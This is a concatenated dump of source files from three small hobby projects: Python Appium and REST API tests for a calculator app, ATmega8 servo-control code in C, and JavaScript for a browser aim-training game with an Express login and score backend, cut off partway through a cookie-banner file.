print(f'Address of user {self.user_id} is: \n {self.address}')
return self.user_data
def get_users_posts_data(self):
# This function returns a list of the posts of the previous random user
self.url = f'{URL}posts'
self.open_url = requests.get(self.url)
self.post_data = self.open_url.json()
self.new_list = []
for data in self.post_data:
if data['userId'] == self.user_id:
self.new_list.append(data)
return self.new_list
def get_users_specific_data(self, key):
# This function returns a generator that generates the users's specific post data based on key passed
self.user_post_data = self.get_users_posts_data()
for element in self.user_post_data:
yield element[key]
def post_new_data(self):
# This function posts a new post for the user and returns the response code form the server
self.url = f'{URL}posts'
self.new_data = {'title': 'TestTitle', 'body': 'TestBody', 'userId': self.user_id}
self.post = requests.post(self.url, data=self.new_data,)
return self.post.status_code
<file_sep>/verify_calculations.py
import math
import test_Calculator
from app_locators import AppLocators
class VerifyCalculations:
def __init__(self):
self.driver = test_Calculator.TestCalculatorApp.pass_driver()
self.applocators = AppLocators()
self.element = self.applocators.locator
def get_current_result(self):
# This function returns the current result displayed in the app
self.raw_text = self.element('RESULT').get_attribute('text')
self.string_result = self.raw_text[8:]
if self.string_result == '':
self.current_result = 0
else:
self.current_result = float(self.string_result)
return self.current_result
def tap_the_button(self, locator, times):
# This function taps 'times' a button 'locator'
self.times = times
for tap in range(times):
locator.click()
def add_one(self):
# This function calculates and returns the expected result for add
return self.current_result + 1 * self.times
def subtract_one(self):
# This function calculates and returns the expected result for subtract
return self.current_result - 1 * self.times
def square_root(self):
# This function calculates and returns the expected result for square root
result = math.sqrt(self.current_result)
if self.times == 1:
return result
else:
for item in range(self.times - 1):
result = math.sqrt(result)
return result
def devide_by_two(self):
# This function calculates and returns the expected result for divide
result = self.current_result / 2
if self.times == 1:
return result
else:
for item in range(self.times - 1):
result = result / 2
return result
def multiply_by_two(self):
# This function calculates and returns the expected result for multiply
result = self.current_result * 2
if self.times == 1:
return result
else:
for item in range(self.times - 1):
result = result * 2
return result
def power_by_two(self):
# This function calculates and returns the expected result for power
result = self.current_result * self.current_result
if self.times == 1:
return result
else:
for item in range(self.times - 1):
result = result * result
return result
<file_sep>/setup.py
from setuptools import setup, find_packages
setup(
name='R3PI',
version='1.0',
description='test exercise',
classifiers=[
'Development Status :: Beta',
'License :: Open source',
'Programing language :: Python :: 3.6',
'Topic :: Test :: restAPI :: Mobile'
],
keywords='test',
author='<NAME>',
packages=find_packages(),
include_package_data=True,
install_requires=[
'click', 'requests', 'html-TestRunner', 'Appium-Python-Client'
],
entry_points='''
[console_scripts]
R3PI=main:cli
''',
)<file_sep>/test_Calculator.py
import unittest
import time
from appium import webdriver
from subprocess import Popen
from device_config import Config
from app_locators import AppLocators
from verify_calculations import VerifyCalculations
class TestCalculatorApp(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.process = Popen('appium -a 0.0.0.0 -p 4723', shell=True)
time.sleep(10)
cls.desired_caps = Config.desired_capabilities()
cls.driver = webdriver.Remote("http://127.0.0.1:4723/wd/hub", cls.desired_caps[0])
cls.driver.implicitly_wait(30)
cls.applocators = AppLocators()
cls.element = cls.applocators.locator
cls.calc = VerifyCalculations()
def test_a_all_UI_elements(self):
self.assertTrue(self.element('TITLE_TEXT'))
self.assertEqual('Calculator', self.element('TITLE_TEXT').get_attribute('text'))
self.assertTrue(self.element('STITLE_TEXT'))
self.assertEqual('Wonky calculator app', self.element('STITLE_TEXT').get_attribute('text'))
self.assertTrue(self.element('RESULT'))
self.assertEqual('Result:', self.element('RESULT').get_attribute('text'))
self.assertTrue(self.element('ADD_BTN'))
self.assertEqual('ADD', self.element('ADD_BTN').get_attribute('text'))
self.assertTrue(self.element('SUB_BTN'))
self.assertEqual('SUBTRACT', self.element('SUB_BTN').get_attribute('text'))
self.assertTrue(self.element('SQRT_BTN'))
self.assertEqual('SQUARE ROOT', self.element('SQRT_BTN').get_attribute('text'))
self.assertTrue(self.element('DIVIDE_BTN'))
self.assertEqual('DIVIDE by 2', self.element('DIVIDE_BTN').get_attribute('text'))
self.assertTrue(self.element('MULTI_BTN'))
self.assertEqual('MULTIPLY by 2', self.element('MULTI_BTN').get_attribute('text'))
self.assertTrue(self.element('POWER_BTN'))
self.assertEqual('POWER by 2', self.element('POWER_BTN').get_attribute('text'))
def test_add_functionality(self):
self.calc.get_current_result()
self.calc.tap_the_button(self.element('ADD_BTN'), 9)
self.assertEqual(self.calc.add_one(), self.calc.get_current_result())
def test_subtract_functionality(self):
self.calc.get_current_result()
self.calc.tap_the_button(self.element('SUB_BTN'), 3)
self.assertEqual(self.calc.subtract_one(), self.calc.get_current_result())
def test_square_root_functionality(self):
self.calc.get_current_result()
self.calc.tap_the_button(self.element('SQRT_BTN'), 2)
self.assertEqual(self.calc.square_root(), self.calc.get_current_result())
def test_divide_functionality(self):
self.calc.get_current_result()
self.calc.tap_the_button(self.element('DIVIDE_BTN'), 4)
self.assertEqual(self.calc.devide_by_two(), self.calc.get_current_result())
def test_multiply_functionality(self):
self.calc.get_current_result()
self.calc.tap_the_button(self.element('MULTI_BTN'), 3)
self.assertEqual(self.calc.multiply_by_two(), self.calc.get_current_result())
def test_power_functionality(self):
self.calc.get_current_result()
self.calc.tap_the_button(self.element('POWER_BTN'), 2)
self.assertEqual(self.calc.power_by_two(), self.calc.get_current_result())
@classmethod
def tearDownClass(cls):
cls.driver.quit()
Popen(f"TASKKILL /F /PID {cls.process.pid} /T")
@classmethod
def pass_driver(cls):
return cls.driver
<file_sep>/app_locators.py
import test_Calculator
class AppLocators:
def __init__(self):
self.driver = test_Calculator.TestCalculatorApp.pass_driver()
def locator(self, name):
return {'TITLE_TEXT': self.driver.find_element_by_id(r"android:id/title"),
'STITLE_TEXT': self.driver.find_element_by_id(r"com.test.calc:id/title"),
'ADD_BTN': self.driver.find_element_by_id(r"com.test.calc:id/add"),
'SUB_BTN': self.driver.find_element_by_id(r"com.test.calc:id/subtract"),
'SQRT_BTN': self.driver.find_element_by_id(r"com.test.calc:id/sqrt"),
'DIVIDE_BTN': self.driver.find_element_by_id(r"com.test.calc:id/divide"),
'MULTI_BTN': self.driver.find_element_by_id(r"com.test.calc:id/multiply"),
'POWER_BTN': self.driver.find_element_by_id(r"com.test.calc:id/power"),
'RESULT': self.driver.find_element_by_id(r"com.test.calc:id/result")
}.get(name, None)
<file_sep>/device_config.py
class Config:
@staticmethod
def desired_capabilities():
desired_caps = [{'deviceName': '################',
'platformName': 'Android',
'platformVersion': '5.1.1',
'app': 'c:\\Users\\Ferenc\\AndroidProject\\wonky-android-calc-master\\bin\\Calculator.apk',
'noReset': 'true',
'fullReset': 'false',
'appPackage': 'com.test.calc',
'appActivity': 'com.test.calc.activities.CalculatorActivity'},
]
return desired_caps
<file_sep>/test_restAPI.py
import unittest
import re
from restAPI_actions import ControlRestAPI
REGEX_EMAIL = re.compile(r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)")
REGEX_ID = re.compile(r"(?<![-.])\b[0-9]+\b(?!\.[0-9])")
REGEX_TEXT = re.compile(r".*\S.*")
class TestRestAPI(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.rest = ControlRestAPI()
cls.data = cls.rest.get_user_data()
cls.email_address = cls.data['email']
def test_email_address(self):
self.result_email = REGEX_EMAIL.match(self.email_address)
self.assertTrue(bool(self.result_email))
def test_validate_id(self):
for post_id in self.rest.get_users_specific_data('id'):
self.result_id = REGEX_ID.match(str(post_id))
self.assertTrue(bool(self.result_id))
def test_validate_title(self):
for title in self.rest.get_users_specific_data('title'):
self.result_title = REGEX_TEXT.match(title)
self.assertTrue(bool(self.result_title))
def test_validate_body(self):
for body in self.rest.get_users_specific_data('body'):
self.result_body = REGEX_TEXT.match(body)
self.assertTrue(bool(self.result_body))
def test_post_successful(self):
self.return_code = self.rest.post_new_data()
self.assertEqual(str(self.return_code), '201')
@classmethod
def tearDownClass(cls):
cls.rest = None
| ad89fc80f1731393bee02044b95f18c7ad06f86a | [
"Python"
] | 8 | Python | TakoFerenc/R3PI | dd50e77db6e478a7c23e6c559c28df8f87606295 | e1b2f35d801c57df297bc4671b62b0172d876927 |
refs/heads/master | <repo_name>jrlphi/atmega8-servo-example<file_sep>/servo.c
#define F_CPU 1000000UL
#include <avr/io.h>
#include <util/delay.h>
void servo_sol(void);
void servo_sag(void);
void servo_orta(void);
int servo_konum = 0;
int main(void)
{
DDRB = 0xFF;
DDRC = 0x00;
PORTC = 0xFF;
TCCR1A |= 1<<WGM11 | 1<<COM1A1 | 1<<COM1A0;
TCCR1B |= 1<<WGM13 | 1<<WGM12 | 1<<CS10;
ICR1 = 19999;
OCR1A = ICR1 - 1500;
while(1)
{
if (bit_is_clear(PINC, 5))
{
servo_sol();
} else
if (bit_is_clear(PINC, 4))
{
servo_orta();
}
else
if (bit_is_clear(PINC, 3))
{
servo_sag();
}
}
return 0;
}
void servo_sol(void)
{
if (servo_konum!=1)
{
OCR1A = ICR1 - 2000;
_delay_ms(150);
if (servo_konum==-1)
_delay_ms(150);
servo_konum=1;
}
}
void servo_sag(void)
{
if (servo_konum!=-1)
{
OCR1A = ICR1 - 1000;
_delay_ms(150);
if (servo_konum==1)
_delay_ms(150);
servo_konum=-1;
}
}
void servo_orta(void)
{
if (servo_konum!=0)
{
OCR1A = ICR1 - 1500;
_delay_ms(150);
servo_konum=0;
}
}
<file_sep>/README.md
# atmega8-servo-example
for sg90 micro servo
| 47b7ca660544b11a89270f6e39b8a48d935743ff | [
"Markdown",
"C"
] | 2 | C | jrlphi/atmega8-servo-example | 83d8a99a4c76f0057163f1d08ba80f40d8cfdc50 | b65c97b9444991a5de0193b74ed0ac8278e4594d |
refs/heads/master | <repo_name>jungjuyoung/innovation-lab-nodejs<file_sep>/express.js
var fs = require('fs');
var bodyParser = require('body-parser');
var express = require('express');
var server = express();
server.use(bodyParser.urlencoded({ extended: false }));
function templateList() {
var topics = fs.readdirSync('data');
var i = 0;
var listTag = '';
while (i < topics.length) {
listTag = listTag + `<li><a href="/topic/${topics[i]}">${topics[i]}</a></li>`;
i = i + 1;
}
return listTag;
}
//parameter
function templateHTML(_listTag, _title, _desc) {
var content = `
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>WEB</title>
</head>
<body>
<h1><a href="/">WEB</a></h1>
<ul>
${_listTag}
</ul>
<a href="/create">create</a>
<h2>${_title}</h2>
${_desc}
</body>
</html>
`;
return content;
}
server.get('/', function (request, response) {
var title = 'Hi';
var desc = 'Hello, web';
var listTag = templateList();
var content = templateHTML(listTag, title, desc);
response.write(content);
response.end();
});
server.get('/topic/:title', function (request, response) {
var title = request.params.title;
var desc = fs.readFileSync('data/' + title, 'utf8');
var listTag = templateList();
var content = templateHTML(listTag, title, desc);
response.write(content);
response.end();
});
server.get('/create', function (request, response) {
var title = 'Create';
var desc = `
<form action="/create_process" method="post">
<p><input type="text" name="title" placeholder="title"></p>
<p><textarea name="desc" placeholder="description"></textarea></p>
<p><input type="submit"></p>
</form>
`;
var listTag = templateList();
var content = templateHTML(listTag, title, desc);
response.write(content);
response.end();
});
server.post('/create_process', function(request, response){
console.log(request.body.title);
var title = request.body.title;
var desc = request.body.desc;
fs.writeFileSync(`data/${title}`, desc);
response.redirect('/topic/'+title);
});
server.listen(3000); | f1994a43dc1397780c69256c4aed95a85498fd88 | [
"JavaScript"
] | 1 | JavaScript | jungjuyoung/innovation-lab-nodejs | 726f0d09973a7aac2eee644bfe43d6c60ae01ba1 | 8c5b90fa1ef91ef0a2b7c53ecac9a8cdb157a36c |
refs/heads/master | <repo_name>nienkedekker/coffeenews<file_sep>/app/models/article.rb
class Article < ActiveRecord::Base
# def
# feeds.each do |feed|
# parser = FeedParser.new(:url => @feed.url)
# rssfeed = parser.parse
# rssfeed.items
#
#
#
# def self.recent
# news24 = FeedParser.new(:url => "http://feeds.news24.com/articles/channel/topstories/rss")
# feed = news24.parse
# feed.items
# end
#
# def self.recent_1
# ntnews = FeedParser.new(:url => "http://feeds.news.com.au/public/rss/2.0/NT_OnlyInNT_3358.xml")
# feed = ntnews.parse
# feed.items
# end
#
# def self.recent_2
# sky = FeedParser.new(:url => "http://feeds.skynews.com/sky-news/rss/strange-news/rss.xml")
# feed = sky.parse
# feed.items
# end
#
# def self.recent_3
# ap = FeedParser.new(:url => "http://hosted.ap.org/lineups/STRANGEHEADS-rss_2.0.xml?SITE=SCAND&SECTION=HOME")
# feed = ap.parse
# feed.items
# end
#
# def self.big_feed
# self.recent + self.recent_1 + self.recent_2 + self.recent_3
# end
end
<file_sep>/app/controllers/feeds_controller.rb
class FeedsController < ApplicationController
http_basic_authenticate_with name: "feeder", password: "<PASSWORD>"
def index
@feeds = Feed.all
end
def new
@feed = Feed.new
end
def create
@feed = Feed.new(feed_params)
if @feed.save
redirect_to action: :index
else
render 'new'
end
end
def destroy
@feed = Feed.find(params[:id])
@feed.destroy
redirect_to feeds_path
end
private
def feed_params
params.require(:feed).permit(:name, :url)
end
end
<file_sep>/config/routes.rb
Rails.application.routes.draw do
get 'articles/index'
resources :articles
root 'articles#index'
resources :feeds
get 'refresh' => 'articles#refresh'
# The priority is based upon order of creation: first created -> highest priority.
# See how all your routes lay out with "rake routes".
end
<file_sep>/db/seeds.rb
# This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
#
# Examples:
#
# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
# Mayor.create(name: 'Emanuel', city: cities.first)
Feed.all.each do |feed|
parser = FeedParser.new(:url => feed.url)
rssfeed = parser.parse
rssfeed.items.each do |data|
checklink = data.link
if Article.where(:picture => checklink).count == 0
Article.create title: data.title, body: data.description, picture: data.link
end
end
end
<file_sep>/db/migrate/20150718121945_add_published_to_feed_items.rb
class AddPublishedToFeedItems < ActiveRecord::Migration
def change
add_column :feed_items, :published, :datetime
end
end
<file_sep>/README.rdoc
== README
Thanks for checking us out :-)
| ea922837b0809cefb0a78e8d05f1c1f4c6214ac9 | [
"RDoc",
"Ruby"
] | 6 | Ruby | nienkedekker/coffeenews | 24f307f3be434501c3de2eae86cd00af4a97f2c2 | 530a9440b0b2a506bc96b2541394e5d7778e5d5d |
refs/heads/main | <repo_name>Jeremy-Barras/aim-lab<file_sep>/src/Components/LoginPage.js
/* In a template literal, the ` (backtick), \ (backslash), and $ (dollar sign) characters should be
escaped using the escape character \ if they are to be included in their template value.
By default, all escape sequences in a template literal are ignored.*/
import { getUserSessionData, setUserSessionData } from "../utils/session.js";
import { RedirectUrl } from "./Router.js";
import { API_URL } from "../utils/server.js";
import MediaWidget from "./MediaWidget.js"
import videoDemo from "../videos/Demo.mp4";
let loginPage = `<div class="loginPage">
<div class="row">
<div class="formCase col-md-8">
<div id="formContent">
<div id="formHeader">
<div class="row">
<div class="col-md-12" id="instructions">
<h2>About the game</h2>
<h5>Instructions :</h5>
<p>Please login or sign up to access the game. Then you have to choose your level (Easy, Medium or Difficult).
The difference between the levels lies in the speed at which the targets are displayed.
Click on the "Play" button to start the game. You have 60 seconds to make the best score.
Each fixed target gives 10 points and each moving target 15 points.
After that, you can check your rank for each level in relation to the other players.</p>
<h5>Demonstration video :</h5>
</div>
<div class="col-md-12" id="demoVideo">
<div id="video"></div>
</div>
</div>
</div>
</div>
</div>
<div class="col-md-4">
<div class="formCase col-md-12">
<div id="formContent">
<div id="formHeader">
<form>
<div class="form-group">
<label for="email">Email</label>
<input class="form-control" id="email" type="text" name="email" placeholder="Enter your email" required="" pattern="^\\w+([.-]?\\w+)*@\\w+([\.-]?\\w+)*(\\.\\w{2,4})+\$" />
</div>
<div class="form-group">
<label for="password">Password</label>
<input class="form-control" id="password" type="password" name="password" placeholder="Enter your password" required="" pattern=".*[A-Z]+.*" />
</div>
<button class="btn btn-primary" id="btn" type="submit">Login</button>
<!-- Create an alert component with bootstrap that is not displayed by default-->
<div class="alert alert-danger mt-2 d-none" id="messageBoard"></div>
</form>
</div>
<div id="formFooter">
<a class="btn underlineHover" href="/register">Not registered yet ? Sign up</a>
</div>
</div>
</div>
<div id="mediaWidget"></div>
</div>
</div>
</div>`;
const LoginPage = () => {
let page = document.querySelector("#page");
page.innerHTML = loginPage;
let loginForm = document.querySelector("form");
const user = getUserSessionData();
if (user) {
RedirectUrl("/home");
} else loginForm.addEventListener("submit", onLogin);
const myVideo = `<video width="80%" controls loop>
<source src="${videoDemo}" type="video/mp4"/>
Votre navigateur ne supporte pas les fichiers video.
</video>`;
const video = document.querySelector("#video");
video.innerHTML = myVideo;
MediaWidget();
};
const onLogin = (e) => {
e.preventDefault();
let email = document.getElementById("email");
let password = document.getElementById("password");
let user = {
email: document.getElementById("email").value,
password: document.getElementById("password").value,
};
if(localStorage.getItem("GlowCookies")!=1){
console.log(localStorage.getItem("GlowCookies"));
onError(411).end();
}
fetch(API_URL + "users/login", {
method: "POST", // *GET, POST, PUT, DELETE, etc.
body: JSON.stringify(user), // body data type must match "Content-Type" header
headers: {
"Content-Type": "application/json",
},
})
.then((response) => {
if (!response.ok)
throw new Error(
"Error code : " + response.status + " : " + response.statusText
);
return response.json();
})
.then((data) => onUserLogin(data))
.catch((err) => onError(err));
};
const onUserLogin = (userData) => {
const user = { ...userData, isAutenticated: true };
setUserSessionData(user);
RedirectUrl("/home");
};
const onError = (err) => {
let messageBoard = document.querySelector("#messageBoard");
let errorMessage = "";
if(err===411){
errorMessage = "Cookies no accepted.";
}else if (err.message.includes("401")){
errorMessage = "Wrong username or password.";
} else{
errorMessage = err.message;
}
messageBoard.innerText = errorMessage;
// show the messageBoard div (add relevant Bootstrap class)
messageBoard.classList.add("d-block");
};
export default LoginPage;
<file_sep>/src/Components/GamePage.js
import { API_URL } from "../utils/server.js";
import { getUserSessionData,setUserSessionData } from "../utils/session.js";
import { RedirectUrl } from "./Router.js";
import anime from 'animejs';
import cibleImage from "../images/Cible.png";
let game = `
<div class="gameInfo col-md-12">
<div id="GameFunction">
<div class="score">
<div id="BestScore"></div>
<div id="score"></div>
</div>
<div id="timer"></div>
<div class="button">
<button type="button" id="Replay" class="btn btn-primary">Replay</button>
<button type="button" id="Stop" class="btn btn-danger">Stop</button>
</div>
</div>
</div>
<div class="gamePage">
<div id="zoneGame"></div>
</div>`;
const GamePage = () => {
const user = getUserSessionData();
let Difficulty = localStorage.getItem("Difficulty");
let Game = document.querySelector("#page");
Game.innerHTML = game
if (!user) {
RedirectUrl("/");
}
let zoneGame = document.getElementById("zoneGame");
let divScore = document.getElementById("score");
let divBestScore = document.getElementById("BestScore");
let divTimer = document.getElementById("timer");
let buttonReplay = document.getElementById("Replay");
let buttonStop = document.getElementById("Stop");
let cible;
let timerCible;
let minute = 1;
let seconde = 0;
divTimer.innerHTML = minute + " : " + seconde+0;
let score = 0;
let BestScore = 0;
if(Difficulty === "Easy"){
BestScore = user.bestScoreEasy;
} else if(Difficulty === "Medium") {
BestScore = user.bestScoreMedium;
} else {
BestScore = user.bestScoreHard;
}
divBestScore.innerHTML = "BestScore : " + BestScore;
divScore.innerHTML = "Score : " + score;
let play = false;
let dureeAnim = 0;
let dureeCible = 0;
if(Difficulty == "Easy"){
dureeAnim = 2000;
dureeCible = 2000;
}else if(Difficulty == "Medium"){
dureeAnim = 1500;
dureeCible = 1000;
}else{
dureeAnim = 1000;
dureeCible = 500;
}
let timerGame = setTimeout(() => {
timer()
}, 1000);
createCible();
let animation = anime({
//here you specify your targeted element through CSS selector syntax
targets: ".anim", //anim,
translateX: "250",
//duration in ms to make one iteration
duration: dureeAnim,
//number of iterations or true for indefinitely
loop: true,
//don't start automatically the animation
autoplay: false,
easing: "linear",
direction: "alternate",
});
afficherCible();
function timer(){
if(minute == 1){
minute = 0;
seconde = 59;
divTimer.innerHTML = minute + " : " + seconde;
}else{
seconde --;
divTimer.innerHTML = minute + " : " + seconde;
}
if(seconde == 0){
clearTimeout(timerGame);
clearTimeout(timerCible);
cible.src ="";
divTimer.innerHTML = "FIN";
if(score>BestScore){
if(Difficulty === "Easy"){
user.bestScoreEasy = score;
setUserSessionData(user);
} else if(Difficulty === "Medium") {
user.bestScoreMedium = score;
setUserSessionData(user);
} else {
user.bestScoreHard = score;
setUserSessionData(user);
}
fetch(API_URL + "users/" + score + "/" + Difficulty, {
method: "PUT",
body: JSON.stringify(user),
headers: {
"Content-Type": "application/json",
},
})
.then((response) => {
if (!response.ok)
throw new Error(
"Error code : " + response.status + " : " + response.statusText
);
return response.json();
})
}
if(Difficulty === "Easy"){
localStorage.setItem("ScoreEasy",score);
} else if(Difficulty === "Medium") {
localStorage.setItem("ScoreMedium",score);
} else {
localStorage.setItem("ScoreHard",score);
}
RedirectUrl("/home");
}else{
timerGame = setTimeout(() => {
timer()
}, 1000);
}
};
function createCible(){
cible = document.createElement("img");
cible.src = cibleImage;
cible.setAttribute("onmousedown","return false");
cible.setAttribute("class","cible anim");
zoneGame.appendChild(cible);
};
function afficherCible(){
let zoneWidth = zoneGame.offsetWidth;
let zoneHeight = zoneGame.offsetHeight;
clearTimeout(timerCible);
let random = Math.floor(Math.random() * 10);
if(random == 8 || random == 9){
animation.play();
play=true;
cible.setAttribute("style","position:relative;left:"+Math.floor(Math.random() * (zoneWidth-cible.offsetWidth-250))+"px;top:"+Math.floor(Math.random() * (zoneHeight-cible.offsetHeight))+"px;");
} else {
animation.pause();
play=false;
cible.setAttribute("style","position:relative;left:"+Math.floor(Math.random() * (zoneWidth-cible.offsetWidth))+"px;top:"+Math.floor(Math.random() * (zoneHeight-cible.offsetHeight))+"px;");
}
timerCible = setTimeout(() => { afficherCible() }, dureeCible);
};
cible.addEventListener("click", () =>{
clearTimeout(timerCible);
if(play){
score +=15;
}else{
score +=10;
}
divScore.innerHTML = "Score : " + score;
afficherCible();
});
buttonReplay.addEventListener("click", () =>{
document.location.reload();
});
buttonStop.addEventListener("click", () =>{
clearTimeout(timerGame);
clearTimeout(timerCible);
cible.src ="";
divTimer.innerHTML = "FIN";
RedirectUrl("/home");
});
};
export default GamePage;
<file_sep>/src/index.js
import { setLayout } from "./utils/render.js";
import {Router, RedirectUrl} from "./Components/Router.js";
import logo from "./images/logojs.png";
import soundOn from "./images/soundOn.png";
import soundOff from "./images/soundOff.png";
import music from "./musique/musique.mp3";
import background from "./images/cinematic.png";
import cinematic from "./videos/cinematic.mp4";
import CookiesConsent from "./Components/CookiesConsent.js"
/* use webpack style & css loader*/
import "./stylesheets/style.css";
import "./stylesheets/cookies-consent.css";
/* load bootstrap css (web pack asset management) */
import 'bootstrap/dist/css/bootstrap.css';
/* load bootstrap module (JS) */
import 'bootstrap';
let imageSon = true;
let divLogoSon = document.getElementById("footerSound");
divLogoSon.addEventListener("click", () => {
if(imageSon === true) {
imageSon = false;
divLogoSon.innerHTML = "<img id='footerSoundLogo' src="+ soundOn +">";
playAudio();
}else{
imageSon = true;
divLogoSon.innerHTML = "<img id='footerSoundLogo' src="+ soundOff +">";
pauseAudio();
}
});
const myPlayer = `<audio id="audioPlayer" loop>
<source
src="${music}"
type="audio/mpeg"
/>
Votre navigateur ne supporte pas les fichiers audio.
</audio>`;
const main = document.querySelector("main");
main.innerHTML += myPlayer;
var x = document.getElementById("audioPlayer");
function playAudio(){
x.play();
}
function pauseAudio(){
x.pause();
}
CookiesConsent();
const HEADER_PICTURE = "<a href='/home'><img id='headerLogo' src= " + logo +" ></a>";
const FOOTER_SOUND = "<img id='footerSoundLogo' src="+ soundOff +">";
const PAGE_TITLE = "AIM-LAB";
const FOOTER_TEXT = "© All right reserved. Created by Group 11 students of IPL VINCI School.";
const CINEMATIC_VIDEO = `<video playsinline autoplay muted loop poster="${background}" id="cinematic">
<source src="${cinematic}" type="video/mp4">
</video>`;
Router();
setLayout(HEADER_PICTURE, FOOTER_SOUND, PAGE_TITLE, FOOTER_TEXT, CINEMATIC_VIDEO);
<file_sep>/src/Components/MediaWidget.js
import facebookLogo from "../images/facebook.png";
import instagramLogo from "../images/instagram.png";
import twitterLogo from "../images/twitter.png";
import youtubeLogo from "../images/youtube.png";
let mediaWidget = `
<div class="formCase col-md-12">
<div id="formContent">
<div id="formHeader">
<p>Follow us :</p>
</div>
<div id="formFooter">
<div class="row socialMedia">
<div class="col-md-3" id="facebook"></div>
<div class="col-md-3" id="instagram"></div>
<div class="col-md-3" id="twitter"></div>
<div class="col-md-3" id="youtube"></div>
</div>
</div>
</div>
</div>
<div class="col-md-12">
</br><button class="btn btn-danger" id="supportButton" type="button"></button>
</div>
`;
const MediaWidget = () => {
let page = document.querySelector("#mediaWidget");
page.innerHTML = mediaWidget;
const myFacebook = `<a href="#"><img src="${facebookLogo}" height="35px"></a>`;
const myInstagram = `<a href="#"><img src="${instagramLogo}" height="35px"></a>`;
const myTwitter = `<a href="#"><img src="${twitterLogo}" height="35px"></a>`;
const myYoutube = `<a href="https://youtu.be/RoFdlsCXdMo"><img src="${youtubeLogo}" height="35px"></a>`;
const supportBut = `<a href="mailto:<EMAIL>">Need help ? Contact support</a>`;
const facebook = document.querySelector("#facebook");
facebook.innerHTML = myFacebook;
const instagram = document.querySelector("#instagram");
instagram.innerHTML = myInstagram;
const twitter = document.querySelector("#twitter");
twitter.innerHTML = myTwitter;
const youtube = document.querySelector("#youtube");
youtube.innerHTML = myYoutube;
const supportButton = document.querySelector("#supportButton");
supportButton.innerHTML = supportBut;
};
export default MediaWidget;<file_sep>/routes/users.js
var express = require("express");
var validator = require("validator");
var router = express.Router();
var User = require("../model/User.js");
let { authorize, signAsynchronous } = require("../utils/auth");
const jwt = require("jsonwebtoken");
const jwtSecret = "<KEY>
const LIFETIME_JWT = 24 * 60 * 60 * 1000 ; // 10;// in seconds // 24 * 60 * 60 * 1000 = 24h
/* GET user list : secure the route with JWT authorization */
router.get("/", function (req, res, next) {
return res.json(User.list);
});
/* POST user data for authentication */
router.post("/login", function (req, res, next) {
let user = new User(null, req.body.email, req.body.password);
console.log("POST users/login:", User.list);
user.checkCredentials(req.body.email, req.body.password).then((match) => {
if (match) {
jwt.sign({ email: user.email }, jwtSecret,{ expiresIn: LIFETIME_JWT }, (err, token) => {
if (err) {
console.error("POST users/ :", err);
return res.status(500).send(err.message);
}
console.log("POST users/ token:", token);
let userBestScoreEasy = user.getBestScore(user.email,"Easy");
let userBestScoreMedium = user.getBestScore(user.email,"Medium");
let userBestScoreHard = user.getBestScore(user.email,"Hard");
return res.json({ email: user.email, token, bestScoreEasy: userBestScoreEasy, bestScoreMedium: userBestScoreMedium, bestScoreHard: userBestScoreHard });
});
} else {
console.log("POST users/login Error:", "Unauthentified");
return res.status(401).send("bad email/password");
}
})
});
/* POST a new user */
router.post("/", function (req, res, next) {
console.log("POST users/", User.list);
console.log("email:", req.body.email);
if(!validator.isStrongPassword(req.body.password)){
return res.status(410).end();
}
if (User.isUser(req.body.email))
return res.status(409).end();
let newUser = new User(req.body.username, req.body.email, req.body.password);
newUser.save().then(() => {
console.log("afterRegisterOp:", User.list);
jwt.sign({ username: newUser.username}, jwtSecret,{ expiresIn: LIFETIME_JWT }, (err, token) => {
if (err) {
console.error("POST users/ :", err);
return res.status(500).send(err.message);
}
console.log("POST users/ token:", token);
return res.json({ email: newUser.email, token, bestScoreEasy: newUser.bestScoreEasy, bestScoreMedium: newUser.bestScoreMedium, bestScoreHard: newUser.bestScoreHard });
});
});
});
/* GET user object from username */
router.get("/:username", function (req, res, next) {
console.log("GET users/:username", req.params.username);
const userFound = User.getUserFromList(req.params.username);
if (userFound) {
return res.json(userFound);
} else {
return res.status(404).send("ressource not found");
}
});
/* PUT a update bestScore */
router.put("/:bestScore/:difficulty", function (req, res, next) {
console.log("bestScore:", req.params.bestScore);
console.log("difficulty:", req.params.difficulty);
console.log("email:", req.body.email);
if (!User.isUser(req.body.email)) return res.status(409).end();
User.update(req.body.email,req.params.bestScore,req.params.difficulty);
});
module.exports = router;
<file_sep>/src/Components/CookiesConsent.js
import { RedirectUrl } from "./Router.js";
/***
* Title: glowCookies
* Author: <EMAIL>
* Date: 10/12/2020
* Code version: 2.0.1
* Availability: https://www.cssscript.com/gdpr-cookie-consent-banner/
*
***/
/* ======================================
ADD THE CSS WITH CDN
====================================== */
const linkElement = document.createElement('link');
linkElement.setAttribute('rel', 'stylesheet');
document.head.appendChild(linkElement);
/* ======================================
CHECK USER VARIABLES & SET DEFAULTS
====================================== */
var bannerDescription, linkTexto, linkHref, bannerPosition, bannerBackground, descriptionColor, cookiesPolicy, btn1Text,
btn1Background, btn1Color, btn2Text, btn2Background, btn2Color, manageColor, manageBackground, manageText, border, policyLink
bannerDescription = bannerDescription || 'We use our own and third-party cookies to personalize content.';
linkTexto = linkTexto || 'Read more about cookies';
linkHref = linkHref || 'https://fr.wikipedia.org/wiki/Cookie_(informatique)';
bannerPosition = bannerPosition || 'left';
bannerBackground = bannerBackground || '#fff';
descriptionColor = descriptionColor || '#505050';
cookiesPolicy = cookiesPolicy || 'no';
// Accept cookies btn
btn1Text = btn1Text || 'Accept cookies';
btn1Background = btn1Background || '#24273F';
btn1Color = btn1Color || '#fff';
// Disable cookies btn
btn2Text = btn2Text || 'Reject';
btn2Background = btn2Background || '#E8E8E8';
btn2Color = btn2Color || '#636363';
// Manage cookies Btn
manageColor = manageColor || '#24273F';
manageBackground = manageBackground || '#fff';
manageText = manageText || 'Manage cookies';
// Extras
border === "none" ? border = "none" : border = "border";
/* ======================================
HTML ELEMENTS
====================================== */
// COOKIES BUTTON
const PreBanner = document.createElement("div");
PreBanner.innerHTML = `<button type="button" id="prebanner" class="prebanner prebanner-${bannerPosition} ${border}" style="color: ${manageColor}; background-color: ${manageBackground};">
<svg fill="currentColor" style="margin-right: 0.25em; margin-top: 0.15em; vertical-align: text-top;" height="1.05em" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
